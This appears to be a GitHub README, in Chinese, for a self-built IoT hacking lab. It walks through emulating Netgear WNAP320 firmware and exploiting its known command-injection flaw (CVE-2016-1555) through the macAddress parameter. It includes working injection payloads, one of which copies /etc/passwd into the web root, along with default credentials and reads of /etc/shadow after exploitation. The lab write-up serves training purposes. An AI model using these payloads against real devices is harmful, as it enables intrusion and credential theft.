Umxirrr/iot-firmware-hacking-lab

GitHub: Umxirrr/iot-firmware-hacking-lab

以 Netgear WNAP320 固件为靶标的 IoT 渗透测试实验环境,完整演示固件提取、模拟、漏洞利用与后渗透全流程。

Stars: 0 | Forks: 0

# IoT 渗透测试实验室 — Netgear WNAP320 固件分析 ## 实验室概述 在模拟的 Netgear 固件上进行完整的 IoT 渗透测试工作流 —— 无需物理硬件。涵盖固件提取、静态分析、动态模拟、Web 漏洞利用和后渗透阶段。 ## 方法论 ### 1. 固件提取与分析 ``` # 从 squashfs 固件提取 filesystem binwalk -Me rootfs.squashfs # 验证内容 ls -la _rootfs.squashfs.extracted/ cat _rootfs.squashfs.extracted/etc/passwd ``` ### 2. 漏洞发现 对 `boardDataWW.php` 的静态分析表明,未经验证的 `macAddress` 参数被直接传递给 `exec()`: ``` // Vulnerable code in boardDataWW.php $macAddr = $_POST['macAddress']; exec("/bin/iwconfig $macAddr"); ``` 无任何过滤 + `exec()` = **盲注型 OS 命令注入 (CWE-78)**。 ### 3. 使用 FAT 进行固件模拟 ``` cd /home/kali/Desktop/lab sudo ./fat.py rootfs.squashfs ``` 流程: - 提取固件 → 标签 → 镜像 ID - 识别架构 (MIPS 24Kc) - 构建 QEMU 磁盘镜像 - 配置网桥 (tap 接口) - 启动模拟设备 → Web UI 可在 `192.168.0.100` 访问 ### 4. 通过 Burp Suite 进行漏洞利用 **步骤 1 — 登录 Web 界面:** - URL: `http://192.168.0.100` - 凭据: `admin` / `password` **步骤 2 — 拦截发送至 `boardDataWW.php` 的请求:** ``` POST /boardDataWW.php HTTP/1.1 Host: 192.168.0.100 macAddress=112233445566;®info=0&writeData=Submit ``` **步骤 3 — 确认盲注型 RCE (基于时间):** ``` macAddress=112233445566;+ping+-c+15+127.0.0.1+#®info=0&writeData=Submit ``` 响应延迟了约 15 秒 —— 命令已执行。 **步骤 4 — 提取 `/etc/passwd`:** ``` macAddress=112233445566;+cp+/etc/passwd+/home/www/p.txt+#®info=0&writeData=Submit ``` ``` curl http://192.168.0.100/p.txt ``` ### 5. 后渗透阶段 通过 QEMU 控制台访问设备 shell (root 权限): ``` cat /etc/shadow ps aux ifconfig brtrunk ``` ## 核心发现 | # | 发现 | 严重性 | CVSS | |---|---------|----------|------| | 1 | boardDataWW.php 中的 OS 命令注入 | 严重 | 10.0 | | 2 | 默认 admin 凭据 | 高 | 7.5 | | 3 | PHP/5.2.3 版本过旧 | 中 | 5.0 | | 4 | Lighttpd 1.4.18 版本过旧 | 中 | 5.0 | | 5 | 可访问的 Debug 页面 | 低 | 3.5 | ## 使用的 Payload 有关完整的 payload 列表,请参见 [`payloads/rce-payloads.txt`](payloads/rce-payloads.txt)。 ## 使用的工具 | 工具 | 用途 | |------|---------| | Binwalk v2.3.4 | 固件提取和文件系统分析 | | Firmadyne + FAT | 自动化固件模拟 | | QEMU (system-mode MIPS) | CPU 级别设备模拟 | | Burp Suite Community | HTTP 拦截和重放 | | Ghidra | MIPS 二进制文件逆向工程 | | Nmap | 网络侦察 | ## 截图 | 步骤 | 截图 | |------|-----------| | 固件提取 | [`screenshots/01-binwalk-extraction.png`](screenshots/01-binwalk-extraction.png) | | FAT 模拟运行 | [`screenshots/02-fat-emulation.png`](screenshots/02-fat-emulation.png) | | Web 界面 + Burp | [`screenshots/03-burp-exploit.png`](screenshots/03-burp-exploit.png) | ## 参考资料 - [CVE-2016-1555 详情](https://nvd.nist.gov/vuln/detail/CVE-2016-1555) - [OWASP IoT Top 10](https://owasp.org/www-project-internet-of-things/) - [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit) - [TryHackMe — IoT 渗透测试简介](https://tryhackme.com/room/iotintro) ## 作者 **Umair** — IoT 安全爱好者 实验室完成时间:2026 年 6 月
标签:CTI, 命令注入, 固件分析, 数据泄露, 物联网安全, 系统模拟, 身份验证强制